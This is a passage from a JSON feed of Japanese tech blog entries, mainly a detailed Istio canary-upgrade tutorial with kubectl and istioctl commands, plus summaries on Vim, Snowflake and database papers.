じゃあ、おうちで学べる\\rhttps://syu-m-5151.hatenablog.com/entry/2023/03/03/105049","link":"https://speakerdeck.com/nwiizo/2023nian-mosrezai-kao-tojiao-binasai","isoDate":"2023-03-03T05:00:00.000Z","dateMiliSeconds":1677819600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Insertモードでも気軽に←・→したい","contentSnippet":"本記事は3/3のVim 駅伝の記事です1。概要通常、Vim/NeovimのInsertモードで←や→を使うと、Undo blockが途切れます。これではUndoやドットリピートが直感に反するケースがあるので、以下のようにマッピングしておくと便利です。Insertモード中で水平移動してタイポ修正する人や、自動入力された閉括弧の外側へ→で移動した後、NormalモードでUndoやドットリピートする時に活躍します。","link":"https://blog.atusy.net/2023/03/03/horizontal-arrows-on-insert/","isoDate":"2023-03-03T00:00:00.000Z","dateMiliSeconds":1677801600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Snowflakeでのコスト管理","contentSnippet":"Snowflakeを最近触ってみることがあったので、コスト周りについて個人的に調べたログ参考ドキュメント↓Snowflakeでのコスト管理 | Snowflake Documentation お品書きSnowflakeのコストについてSnowflakeのコスト調査Snowflakeのコスト制御 SnowflakeのコストについてSnowflakeでのコストは次の3つの領域に分類される。コンピューティング: ユーザー管理(仮想ウェアハウス)、Snowflake管理(Snowpipeなどのサーバーレス機能)、およびクラウドサービスストレージ: データステージング...","link":"https://zenn.dev/nedoko_dok0dko/articles/ffe6450c4cd851","isoDate":"2023-02-28T10:45:26.000Z","dateMiliSeconds":1677581126000,"authorName":"seno","authorId":"seno"},{"title":"【Istio⛵️】Istioを安全にアップグレードするカナリア方式とその仕組み","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Istioのアップグレード手法の種類について安全なカナリア方式の仕組みについてこの記事から得られる知識01. はじめに02. なぜ安全なアップグレードが必要なのか起こりうる問題採用するべきアップグレード手法03. アップグレード手法を説明する前にカナリアリリースとはカナリアリリースの手順(1) 新環境のリリース(2) 新環境への重み付けルーティング(3) 実地的テストの実施(4) 重み付けの段階的変更『カナリアリリース』の呼称の由来04. アップグレード手法の概要(1) アップグレード前の検証(2) 新Istiodのインストール(3) Webhookの宛先のServiceの変更(4) Istio IngressGatewayをインプレースアップグレード(5) 一部のNamespaceのistio-proxyコンテナをアップグレード(6) ユーザの手を借りたテスト(7) istio-proxyコンテナの段階的アップグレード(8) 旧Istiodのアンインストール05. アップグレード手法の詳細istioctl コマンドを使用したアップグレード前提NamespaceIstiodIstio IngressGatewayマイクロサービス(1) アップグレード前の検証ここで実施することistioctl x precheckコマンドkubectl getコマンド▼ IstiodのDeployment▼ Webhookの宛先のService▼ 宛先のServiceを決めるMutatingWebhookConfiguration(2) 新Istiodのインストールここで実施することistioctl versionコマンドistioctl installコマンドkubectl getコマンド▼ IstiodのDeployment▼ Webhookの宛先のService▼ Webhookの宛先のServiceを決めるMutatingWebhookConfiguration(3) Webhookの宛先のServiceの変更ここで実施することistioctl tag setコマンド(4) Istio IngressGatewayをインプレースアップグレードここで実施することkubectl rollout restartコマンド(5) 一部のNamespaceのistio-proxyコンテナをアップグレードここで実施することkubectl rollout restartコマンド(6) ユーザの手を借りたテストここで実施することもし問題が起こった場合(7) istio-proxyコンテナの段階的アップグレードここで実施することkubectl rollout restartコマンド(8) 旧Istiodのアンインストールここで実施することistioctl uninstallコマンドkubectl getコマンド▼ IstiodのDeployment▼ Webhookの宛先のService▼ 宛先のServiceを決めるMutatingWebhookConfiguration06. おわりに記事関連のおすすめ書籍01. はじめに隠しません。有吉弘行のサンデーナイトドリーマー は人生のバイブルです。さて、最近の業務でIstio⛵️をひたすらアップグレードしています。今回は、採用したアップグレード手法の紹介も兼ねて、Istioの安全なアップグレード手法の仕組みを記事で解説しました。Istioのアップグレード手法には変遷があり、解説するのは執筆時点 (2023/02/26) で最新の 1.14 系のアップグレード手法です。それでは、もりもり布教していきます\uD83D\uDE1702. なぜ安全なアップグレードが必要なのか起こりうる問題そもそも、なぜIstioで安全なアップグレードを採用する必要があるのでしょうか。Istioで問題が起こると、Pod内のistio-proxyコンテナが正しく稼働せず、システムに大きな影響を与える可能性があります。例えば、istio-proxyコンテナのPodへのインジェクションがずっと完了せず、アプリコンテナへの通信が全て遮断されるといったことが起こることがあります。採用するべきアップグレード手法執筆時点 (2023/02/26) では、Istiodコントロールプレーン (以降、Istiodとします) のアップグレード手法には、『インプレース方式』と『カナリア方式』があります。また合わせてアップグレードが必要なIstio IngressGatewayには、その手法に『インプレース方式』があります。今回の安全なアップグレード手法として、Istiodでは『カナリアアップグレード』、Istio IngressGatewayでは『インプレースアップグレード』を採用します。Istio / Canary UpgradesIstio / Installing Gateways03. アップグレード手法を説明する前にカナリアリリースとはIstiodのカナリアアップグレードが理解しやすくなるように、カナリアリリースから説明したいと思います。カナリアリリースは、実際のユーザーにテストしてもらいながらリリースする手法です。もしカナリアリリースをご存知の方は、 04. アップグレード手法の概要 まで飛ばしてください\uD83D\uDE47\uD83C\uDFFB‍カナリアリリースの手順カナリアリリースは、一部のユーザーを犠牲にすることになる一方で、アプリを実地的にテストできる点で優れています。手順を交えながら説明します。Canary Release(1) 新環境のリリース旧環境のアプリを残したまま、新環境をリリースします。この段階では、全てのユーザー (100%) を旧環境にルーティングします。(2) 新環境への重み付けルーティングロードバランサーで重み付けを変更し、一部のユーザー (ここでは10%) を新環境にルーティングします。(3) 実地的テストの実施ユーザーの手を借りて新環境を実地的にテストします (例:該当のエラーメトリクスが基準値を満たすか) 。(4) 重み付けの段階的変更新環境に問題が起こらなければ、重み付けを段階的に変更し、最終的には全てのユーザー (100%) を新環境にルーティングします。『カナリアリリース』の呼称の由来カナリアリリースについては、その呼称の由来を知ると、より理解が深まります。カナリアリリースは、20世紀頃の炭坑労働者の危機察知方法に由来します。炭鉱内には有毒な一酸化炭素が発生する場所がありますが、これは無色無臭なため、気づくことに遅れる可能性があります。そこで当時の炭鉱労働者は、一酸化炭素に敏感な『カナリア』を炭鉱内に持ち込み、カナリアの様子から一酸化炭素の存在を察知するようにしていたそうです。つまり、先ほどの『犠牲になる一部のユーザー』が、ここでいうカナリアというわけです\uD83D\uDE28画像引用元:George McCaa, U.S. Bureau of MinesAbout canary deployment in simple words04. アップグレード手法の概要カナリアリリースを理解したところで、Istioの安全なアップグレード手法の概要を説明します。おおよそ以下の手順からなります。なお各番号は、05. アップグレード手法の詳細 の (1) 〜 (8) に対応しています。(1) アップグレード前の検証旧Istiodが稼働しています。ここで、アップグレードが可能かどうかを検証しておきます。(2) 新Istiodのインストール新Istiod (discoveryコンテナ) をインストールします。(3) Webhookの宛先のServiceの変更新Istiodのistio-proxyコンテナをインジェクションできるように、Webhookの宛先のServiceを変更します。この手順は重要で、後の (3) Webhookの宛先のServiceの変更 で詳細を説明しています。(4) Istio IngressGatewayをインプレースアップグレードIstio IngressGatewayをインプレースアップグレードします。(5) 一部のNamespaceのistio-proxyコンテナをアップグレード一部のNamespaceで、istio-proxyコンテナをカナリアアップグレードします。▶︎ 『カナリアアップグレード』の呼称についてistio-proxyコンテナを一斉にアップグレードするのではなく、段階的にアップグレードしていく様子を『カナリア』と呼称している、と個人的に推測しています。もし『カナリアアップグレード』の由来をご存じの方は、ぜひ教えていただけると\uD83D\uDE47\uD83C\uDFFB‍(6) ユーザの手を借りたテストユーザーの手を借りて、実地的にテストします (例:該当のエラーメトリクスが基準値以下を満たすか) 。(7) istio-proxyコンテナの段階的アップグレード新Istiodのistio-proxyコンテナに問題が起こらなければ、他のNamespaceでもistio-proxyコンテナを段階的にカナリアアップグレードしていきます。一方でもし問題が起これば、Namespaceのistio-proxyコンテナとIstio IngressGatewayをダウングレードします。(8) 旧Istiodのアンインストール最後に、旧Istiodをアンインストールします。Istio / Canary Upgrades05. アップグレード手法の詳細istioctl コマンドを使用したアップグレードここからは、04. アップグレード手法の概要 を深ぼっていきます。今回は、ドキュメントで一番優先して記載されている istioctl コマンドを使用した手順 を説明します。なお各番号は、04. アップグレード手法の概要 の (1) 〜 (8) に対応しています。▶︎ アップグレードに使用するツールについてistioctlコマンド以外のツール (例:helmコマンド、helmfileコマンド、ArgoCD) を使用してもアップグレードできます。細かな手順が異なるだけで、アップグレード手法の概要は同じです\uD83D\uDE46\uD83C\uDFFB‍前提Namespaceまず最初に、前提となる状況を設定しておきます。各Namespaceのistio.io/revラベルにdefaultが設定されているとします。$ kubectl get namespace -L istio.io/revNAME STATUS AGE REVfoo Active 34d defaultbar Active 34d defaultbaz Active 34d defaultistio-ingress Active 34d default...▶︎ istio.io/revラベル値のエイリアスについてistio.io/revラベル値は、どんなエイリアスでもよいです。よくあるエイリアスとしてdefaultやstableを使用します\uD83D\uDC4Dさらに、マニフェストに書き起こすと以下のようになっています。apiVersion: v1kind: Namespacemetadata: name: foo labels: istio.io/rev: defaultこのistio.io/revラベルがあることにより、そのNamespaceのPodにistio-proxyコンテナを自動的にインジェクションします。▶︎ istio-proxyコンテナのインジェクションの仕組みについてについてistio-proxyコンテナのインジェクションの仕組みについては、今回言及しておりません。以下の記事で解説していますため、もし気になる方はよろしくどうぞ\uD83D\uDE47\uD83C\uDFFB‍Istiodすでに1-14-6のIstiodが動いており、1-15-4にカナリアアップグレードします。IstiodはDeployment配下のPodであり、このPodはIstiodの実体であるdiscoveryコンテナを持ちます。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-14-6 1/1 1 1 47s # 1-14-6Istio IngressGatewayIstio IngressGatewayはIstiodとは異なるNamespaceで動いており、インプレースアップグレードします。Istio IngressGatewayはistio-proxyコンテナを持ちます。$ kubectl get deployment -n istio-ingressNAME READY UP-TO-DATE AVAILABLE AGEistio-ingressgateway 1/1 1 1 47s▶︎ IstiodとIstio IngressGatewayを動かすNamespaceについてIstio / Installing Gatewaysマイクロサービス各Namespaceでマイクロサービスが動いています。マイクロサービスのPodはistio-proxyコンテナを持ちます。$ kubectl get deployment -n fooNAME READY UP-TO-DATE AVAILABLE AGEfoo 2/2 1 1 47s...$ kubectl get deployment -n barNAME READY UP-TO-DATE AVAILABLE AGEbar 2/2 1 1 47s..$ kubectl get deployment -n bazNAME READY UP-TO-DATE AVAILABLE AGEbaz 2/2 1 1 47s...(1) アップグレード前の検証ここで実施することアップグレード前に、現在のKubernetes Clusterがアップグレード要件を満たしているかを検証します。Before you upgradeistioctl x precheckコマンドistioctl x precheckコマンドを実行し、アップグレード要件を検証します。問題がなければ、istioctlコマンドはNo issue ...の文言を出力します。$ istioctl x precheck✅ No issues found when checking the cluster.Istiois safe to install or upgrade! To get started, check out https://istio.io/latest/docs/setup/getting-started/▶︎ アップグレード要件が満たない場合についてistioctl x precheckコマンドはエラー文言を出力します。例えば、Istioのistio-proxyコンテナのインジェクションではkube-apiserverと通信する必要があります。そのため、kube-apiserverのバージョンが古すぎるせいでIstioが非対応であると、エラーになります\uD83D\uDE2Dkubectl getコマンド▼ IstiodのDeploymentkubectl getコマンドを実行し、現在のIstiodのバージョンを確認します\uD83D\uDC40まずはIstiodのDeploymentを確認すると、1-14-6のDeploymentがあります。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-14-6 1/1 1 1 47s # 1-14-6istio-proxyコンテナのインジェクションの仕組みでいうと、以下の赤枠の要素です\uD83D\uDC47▼ Webhookの宛先のService次に、 Serviceを確認すると、1-14-6のServiceがあります。$ kubectl get service -n istio-system -l app=istiodNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEistiod-1-14-6 ClusterIP 10.96.93.151 15010/TCP,15012/TCP,443/TCP,15014/TCP 109s # 1-14-6このServiceは、kube-apiserverからIstiodへのWebhookを仲介することにより、istio-proxyコンテナのインジェクションを可能にします。istio-proxyコンテナのインジェクションの仕組みでいうと、以下の赤枠の要素です\uD83D\uDC47▼ 宛先のServiceを決めるMutatingWebhookConfiguration最後に、MutatingWebhookConfigurationを確認すると、istio-revision-tag-<エイリアス>とistio-sidecar-injector-<リビジョン番号>のMutatingWebhookConfigurationがあります。$ kubectl get mutatingwebhookconfigurationsNAME WEBHOOKS AGEistio-revision-tag-default 2 114s # カナリアアップグレード用istio-sidecar-injector-1-14-6 2 2m16s # インプレースアップグレード用のため今回は言及しないistio-proxyコンテナのインジェクションの仕組みでいうと、以下の赤枠の要素です\uD83D\uDC47これらのうち、前者 (istio-revision-tag-<エイリアス>) をカナリアアップグレードのために使用します。このMutatingWebhookConfigurationは、Webhookの宛先のServiceを決めるため、結果的にistio-proxyコンテナのバージョンを決めます。ここで、MutatingWebhookConfigurationのistio.io/revラベルとistio.io/tagラベルの値も確認しておきます。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.metadata.labels\'...istio.io/rev: 1-14-6istio.io/tag: default...istio.io/revラベルはIstiodのバージョン、istio.io/tagラベルはこれのエイリアスを表しています。また、.webhooks[].namespaceSelectorキー配下のistio.io/revキーの検知ルールを確認します。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.webhooks[]\'...namespaceSelector: matchExpressions: - key: istio.io/rev operator: In values: - default...合わせて、.webhooks[].clientConfig.serviceキー配下のServiceを名前を確認します。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.webhooks[].clientConfig\'...service: name: istiod-1-14-6...▶︎ MutatingWebhookConfigurationの役割についてistio.io/revラベルにdefaultを設定してあるとします。すると、上記のMutatingWebhookConfigurationがこれを検知します。MutatingWebhookConfigurationにはdefaultに対応するIstioのリビジョンが定義されており、kube-apiserverが特定のIstioのバージョンのServiceにWebhookを送信可能になります\uD83C\uDF89Istio / Safely upgrade the Istio control plane with revisions and tags(2) 新Istiodのインストールここで実施することそれでは、新Istiodをインストールします。Control planeistioctl versionコマンド新しくインストールするIstiodのバージョンは、istioctlコマンドのバージョンで決まります。そこで、istioctl versionコマンドを実行し、これのバージョンを確認します。$ istioctl versionclient version: 1.15.4 # アップグレード先のバージョンcontrol plane version: 1.14.6 # 現在のバージョンdata plane version: 1.14.6istioctl installコマンドカナリアアップグレードの場合、istioctl installコマンドを実行します。ドキュメントではrevisionキーの値がcanaryですが、今回は1-15-4とします。この値は、Istioが使用する様々なKubernetesリソースの接尾辞や、各リソースのistio.io/revラベルの値になります。$ istioctl install --set revision=1-15-4WARNING: Istio is being upgraded from 1.14.6 -> 1.15.4WARNING: Before upgrading, you may wish to use \'istioctl analyze\' to check for IST0002 and IST0135 deprecation warnings.✅ Istio core installed✅ Istiod installed✅ Ingress gateways installed✅ Installation completeThank you for installing Istio 1.15. Please take a few minutes to tell us about your install/upgrade experience!▶︎ カナリアアップグレードで指定できるバージョン差についてrevisionキーを使用したカナリアアップグレードでは、2つの先のマイナーバージョンまでアップグレードできます。例えば、現在のIstioが1.14.6であるなら、1.16系まで対応しています\uD83D\uDC4DIstio / Canary Upgradeskubectl getコマンド▼ IstiodのDeploymentkubectl getコマンドを実行し、istioctl installコマンドで何をインストールしたのかを確認します\uD83D\uDC40まずはIstiodのDeploymentを確認すると、1-15-4というDeploymentが新しく増えています。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-14-6 1/1 1 1 47s # 1-14-6istiod-1-15-4 1/1 1 1 47s # 1-15-4接尾辞の1-15-4は、revisionキーの値で決まります。この段階では、旧Istiodと新Istioが並行的に稼働しており、kube-apiserverはまだ旧Istiodと通信しています今の状況は以下の通りです\uD83D\uDC47▼ Webhookの宛先のService次に Webhookの宛先のServiceを確認すると、istiod-1-15-4というServiceが新しく増えています。$ kubectl get service -n istio-system -l app=istiodNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEistiod-1-14-6 ClusterIP 10.96.93.151 15010/TCP,15012/TCP,443/TCP,15014/TCP 109s # 1-14-6istiod-1-15-4 ClusterIP 10.104.186.250 15010/TCP,15012/TCP,443/TCP,15014/TCP 87s # 1-15-4この段階では、まだWebhookの宛先はistiod-1-14-6のServiceです。今の状況は以下の通りです\uD83D\uDC47▼ Webhookの宛先のServiceを決めるMutatingWebhookConfiguration最後にMutatingWebhookConfigurationを確認すると、istio-sidecar-injector-1-15-4というMutatingWebhookConfigurationが新しく増えています。$ kubectl get mutatingwebhookconfigurationsNAME WEBHOOKS AGEistio-revision-tag-default 2 114s # カナリアアップグレードで使用するistio-sidecar-injector-1-14-6 2 2m16sistio-sidecar-injector-1-15-4 2 2m16sカナリアアップグレードでは、istio-revision-tag-<エイリアス>のMutatingWebhookConfigurationを使用します。今の状況は以下の通りです\uD83D\uDC47▶︎ アンインストールについて(3) Webhookの宛先のServiceの変更ここで実施することこの手順では、エイリアスのistio.io/tagラベルの値はそのままにしておき、一方でistio.io/revラベルの値を変更します。さらに、Webhookの宛先のServiceを変更します。Default tagSafely upgrade the Istio control plane with revisions and tagsistioctl tag setコマンドistioctl tag setコマンドを実行し、istio.io/revラベルの値と宛先のServiceを変更します。$ istioctl tag set default --revision 1-15-4 --overwrite実行後に、もう一度MutatingWebhookConfigurationを確認すると、istio.io/revラベルの値が変わっています。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.metadata.labels\'...istio.io/rev: 1-15-4istio.io/tag: default...また、Webhookの宛先のServiceも変わっています。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.webhooks[].clientConfig\'...service: name: istiod-1-15-4...これらにより、Webhookの宛先が 1-15-4 のService となります。そのため、 1-15-4 の istio-proxy コンテナをインジェクションできる ようになります。今の状況は以下の通りです\uD83D\uDC47(4) Istio IngressGatewayをインプレースアップグレードここで実施することWebhookの宛先が1-15-4のServiceに変わったところで、Istio IngressGatewayをインプレースアップグレードします。In place upgradekubectl rollout restartコマンドkubectl rollout restartコマンドを実行し、Istio IngressGatewayをインプレースアップグレードします。$ kubectl rollout restart deployment istio-ingressgateway-n istio-ingress再作成したPodのイメージを確認してみると、istio-proxyコンテナを1-15-4にアップグレードできています。$ kubectl get pod bar -n bar -o yaml | yq \'.spec.containers[].image\'docker.io/istio/proxyv2:1.15.4 # istio-proxyコンテナ▶︎ istioctl proxy-statusコマンドについてkubectl getコマンドの代わりに、istioctl proxy-statusコマンドを使用して、アップグレードの完了を確認してもよいです。今の状況は以下の通りです\uD83D\uDC47▶︎ Istio IngressGatewayの通信遮断について(5) 一部のNamespaceのistio-proxyコンテナをアップグレードここで実施すること続けて、一部のNamespaceのistio-proxyコンテナをアップグレードします。Podの再作成により、新Istiodのistio-proxyコンテナがインジェクションされるため。istio-proxyコンテナをアップグレードできます。Data planekubectl rollout restartコマンド前提にあるように、Namespaceには foo bar baz があります。kubectl rollout restartコマンドを実行し、barのistio-proxyコンテナからアップグレードします。$ kubectl rollout restart deployment bar -n bar再作成したPodのイメージを確認してみると、istio-proxyコンテナを1-15-4にアップグレードできています。$ kubectl get pod bar -n bar -o yaml | yq \'.spec.containers[].image\'bar-app:1.0 # マイクロサービスdocker.io/istio/proxyv2:1.15.4 # istio-proxyコンテナ▶︎ istioctl proxy-statusコマンドについてkubectl getコマンドの代わりに、istioctl proxy-statusコマンドを使用して、アップグレードの完了を確認してもよいです。今の状況は以下の通りです\uD83D\uDC47(6) ユーザの手を借りたテストここで実施することIstioを部分的にアップグレードしたところで、アップグレードが完了したNamespaceをテストします。ユーザーの手を借りて実地的にテストします (例:該当のエラーメトリクスが基準値を満たすか) 。今の状況は以下の通りです\uD83D\uDC47もし問題が起こった場合もし問題が起こった場合、1-14-6にダウングレードしていきます。istioctl tag setコマンドを実行し、istio.io/revラベルの値を元に戻します。$ istioctl tag set default --revision 1-14-6 --overwriteその後、kubectl rollout restartコマンドの手順を実行し、istio-proxyコンテナをダウングレードしてきます。(7) istio-proxyコンテナの段階的アップグレードここで実施すること先ほどのNamespaceで問題が起こらなければ、残ったNamespace (foo、baz、...) のistio-proxyコンテナも段階的にアップグレードしていきます。kubectl rollout restartコマンド同様にkubectl rollout restartコマンドを実行し、istio-proxyコンテナからアップグレードします。$ kubectl rollout restart deployment foo -n foo$ kubectl rollout restart deployment baz -n baz...最終的に、全てのNamespacemのistio-proxyコンテナが新しくなります。今の状況は以下の通りです\uD83D\uDC47(8) 旧Istiodのアンインストールここで実施すること最後に、旧Istiodのアンインストールします。Uninstall old control planeistioctl uninstallコマンドistioctl uninstallコマンドを実行し、旧Istiodをアンインストールします。$ istioctl uninstall --revision 1-14-6✅ Uninstall complete今の状況は以下の通りです\uD83D\uDC47kubectl getコマンド▼ IstiodのDeploymentkubectl getコマンドを実行し、istioctl uninstallコマンドで何をアンインストールしたのかを確認します\uD83D\uDC40まずはIstiodのDeploymentを確認すると、1-14-6というDeploymentが無くなっています。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-15-4 1/1 1 1 47s # 1-15-4▼ Webhookの宛先のService次に Webhookの宛先のServiceを確認すると、istiod-1-14-6というServiceが無くなっています。$ kubectl get service -n istio-system -l app=istiodNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEistiod-1-15-4 ClusterIP 10.104.186.250 15010/TCP,15012/TCP,443/TCP,15014/TCP 87s # 1-15-4▼ 宛先のServiceを決めるMutatingWebhookConfiguration最後にMutatingWebhookConfigurationを確認すると、istio-sidecar-injector-1-14-6というMutatingWebhookConfigurationが無くなっています。$ kubectl get mutatingwebhookconfigurationsNAME WEBHOOKS AGEistio-revision-tag-default 2 114s # 次のカナリアアップグレードでも使用するistio-sidecar-injector-1-15-4 2 2m16sこれで、新Istiodに完全に入れ替わったため、アップグレードは完了です。今の状況は以下の通りです\uD83D\uDC47▶︎ アンインストールについて06. おわりにIstioを安全にアップグレードするカナリア方式とその仕組みをもりもり布教しました。Istioへの愛が溢れてしまいました。これからIstioを採用予定の方は、Istioを安全にアップグレードするために十分に準備しておくことをお勧めします\uD83D\uDC4D記事関連のおすすめ書籍Istio in Action (English Edition)作者:Posta, Christian E.,Maloku, RinorManningAmazonIstio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and Observe作者:Calcote, Lee,Butcher, ZackO\'Reilly MediaAmazon","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/02/26/202548","isoDate":"2023-02-26T11:25:48.000Z","dateMiliSeconds":1677410748000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"LINE に送ったメッセージを Google Home に読み上げさせる","contentSnippet":"令和の時代、家に固定電話はなく、外出先から家族に直ぐに答えて欲しいことがあってもスマホはマナーモードで手元に置いてなければ気づくことができま","link":"https://blog.1q77.com/2023/02/line-bot-tts/","isoDate":"2023-02-25T12:51:58.000Z","dateMiliSeconds":1677329518000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"自由研究には向かないウェブオペレーション\xa0","contentSnippet":"自由研究には向かないウェブオペレーション\xa0サイト運用管理を取り巻く環境の変化 Cloud Native時代に考えるLinux オペレーション というタイトルで登壇してきました。\\r\\r2023年2月18日\\r【今更聞けない】Linuxのしくみ - Forkwell Library #16\\rhttps://forkwell.connpass.com/event/273179/\\r\\rあとがき\\r『自由研究には向かないウェブオペレーション』というタイトルで登壇しました。\\rhttps://syu-m-5151.hatenablog.com/entry/2023/02/18/201252","link":"https://speakerdeck.com/nwiizo/zi-you-yan-jiu-nihaxiang-kanaiuebuoperesiyon","isoDate":"2023-02-18T05:00:00.000Z","dateMiliSeconds":1676696400000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"行指向と列指向の違いについての論文を読む","contentSnippet":"この記事の趣旨前回と同様にCMU Advanced Databas Systems Spring2023のReading Assignmentとして出ている論文を読み論文紹介のやり方 / How to reviewで紹介されている方法をまとめていきます。今回はBigQueryやSnowflake、Amazon Redshiftといった分析向けデータベースが採用している行指向ストア(Column-store)と列指向ストア(Row-store)の差と行指向ストアがのどうのような最適化がパフォーマンスに影響を与えているかについて扱った論文を読んで行きます。Column-Stores vs. Row-Stores: How Different Are They Really?研究全体の背景行指向データベースシステムは分析用ワークロードで列指向データベースシステムより優れたパフォーマンスを発揮することで知られている。なぜなら行指向ストアはクエリ実行に必要なデータのみをディスクまたはメモリから取得するため、優れたI/Oパフォーマンスを達成できるからである。問題意識垂直パーティショニングや全ての行をパーティショニングすることで、列指向データベースで行指向データベースのようなパフォーマンスを実現できるだろうか? また行指向データベースが高速に動作するのはどのような最適化手法の影響が大きいのか?論文の目的列指向データベースで垂直パーティショニングやクエリ実行で使われる全ての行にインデックスを張るなどして、擬似的に行指向データベースを再現することで分析用途でのパフォーマンスが向上するのか? また行指向データベースの高速化に用いられるテクニックを一つずつ無効化し、パフォーマンスを比較することでどのような要素が行指向データベースのパフォーマンスを向上させているかを検証しする。手法の説明Star Schema Benchmarkを用いてC-Storeと商用列指向データベースの比較を行う。リアライゼーション、ブロックプロセッシングをそれぞれ無効化しどの要素の影響が最も大きいか。またこの論文で提案されたinvisible joinの評価を行なう。結果列指向ストアに置けるマテリアライズトビューリアライズドビュー(MV)に比べ非常に優れたパフォーマンスを発揮する。一方でCSの一つの行にMVとして期待するアウトプットのタプルをStringとして保存すると、普通のRSよりも低いパフォーマンスとなる。 RS MV > RS > CS MVとなる。列指向ストアに行指向ストアを再現する一般的な列指向のアプローチを適用し、効果的であればbitmap1またはbloom filter2を適用する(T)一般的な列指向のアプローチを適用するが、bitmapを積極的に使用する(T(B))一つのテーブルを複数のテーブルとして垂直分割を行う(VP)全ての行にインデックスを貼り、値の読み込みは全てインデックス経由で行う(AI)結果としては平均してMV > T > T(B) > VP > AIとなる。列指向ストアに置ける最適化手法とその影響列指向ストアの最適化手法においてどの影響が大きいかを測定するためそれぞれを無効化することで検証を行なう。測定対象の最適化項目としては以下の4つを対象とする。ブロックプロセッシングの有効化(B)または無効化(b)Invisible joinの有効化(I)または無効化(i)保存時のデータ圧縮の有効化(C)または無効化(c)遅延マテリアライゼーションの有効化(L)または無効化(l)結果は平均するとBICL > bICL > BiCL > biCL > BicL > bicL > biclとなる。まとめと考察既に知られていたように行指向ストアは列指向ストアに対して常に優れたパフォーマンスを発揮した。リアライゼーションとデータの圧縮はパフォーマンスの改善に大きく影響した。ブロックプロセッシングやInvisible Joinも上記の二つに比べると影響は小さいものの最適化として有効に働いた。Oracle Document 索引↩Bloom Filters↩","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/3_columner_store_vs_rower_store","isoDate":"2023-02-12T15:22:37.000Z","dateMiliSeconds":1676215357000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Caddy の Internal TLS 証明書の有効期間を指定する","contentSnippet":"以前 ワンライナーで https の Reverse Proxy を実行する という記事で Caddy を使うと local での開発用に任意のドメインの証明書を簡単に発行できるし CA の証明書も OS の証明書スト","link":"https://blog.1q77.com/2023/02/caddy-internal-tls-cert-lifetime/","isoDate":"2023-02-09T14:29:32.000Z","dateMiliSeconds":1675952972000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":" ポストモーテムはじめました","contentSnippet":"ポストモーテムはじめました - 良いポストモーテムを執筆するために必要な5つのポイント というタイトルで登壇してきました。\\r\\r2023年02月09日\\rインシデントにどう対応してきたか?みんなで学ぶポストモーテム Lunch LT\\rhttps://findy.connpass.com/event/273197/\\r\\r『ポストモーテムはじめました』というタイトルで登壇しました。 - じゃあ、おうちで学べる \\rhttps://syu-m-5151.hatenablog.com/entry/2023/02/09/113316","link":"https://speakerdeck.com/nwiizo/posutomotemuhazimemasita","isoDate":"2023-02-09T05:00:00.000Z","dateMiliSeconds":1675918800000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Snowflakeの論文を読む","contentSnippet":"この記事の趣旨前回と同様にCMU Advanced Databas Systems Spring2023のReading Assignmentとして出ている論文を読み、感想と抄訳のようなものにまとめます。まとめていたのですが、そもそも全体をまとめてしまっていいのか? 文量もふえてしまうので論文紹介のやり方 / How to reviewで紹介されている方法を参考にやっていきます。ただし実装論文が対象なので手法の説明は厚めにとりあげ、結果については省略します。今回は近年DWHとして存在感を増しているSnowflakeがどのようなアーキテクチャを取っているか、そしてどのように分散システムの上にデータベースシステムを構築しているかについての内容になります。https://15721.courses.cs.cmu.edu/spring2023/papers/02-modern/vuppalapati-nsdi22.pdfBuilding An Elastic Query Engine on Disaggregated Storage研究全体の背景Cloud技術をベースとしたデータウェアハウス(DWH)であるSnowflakeの運用経験に基づいた論文。Snowflakeは計算リソースとストレージの柔軟性、マルチテナント、高いパフォーマンスを目的にデザインされている。この論文ではSnowflakeが設計と実装においてどのようにCloud技術を応用し目的を達成しているかについて書かれている。問題意識既存のクエリ実行エンジンやDWHではShared-nothing方式を採用することでデータをノードに分散させ、処理をスケールさせたり高いパフォーマンスを実現していた。一方でワークロードによって要求のことなる各種コンピュータリソースを適切に分配することが難しい、Shared-nothingによる静的にパーティションされたデータでは要求によってノードを増減させることが難しいという問題があった。論文の目的SnowflakeがどのようなアーキテクチャによってShared-nothingが抱える問題を解決し、またクエリプランニングと最適化、同時実行制御を行っているのかの実装をまとめ、紹介している。手法の説明設計の概要Snowflakeでは永続(persistent)データと中間(intermediate)データで扱かいを変えている。Figure1: Snowflake (Virtual) Warehouse 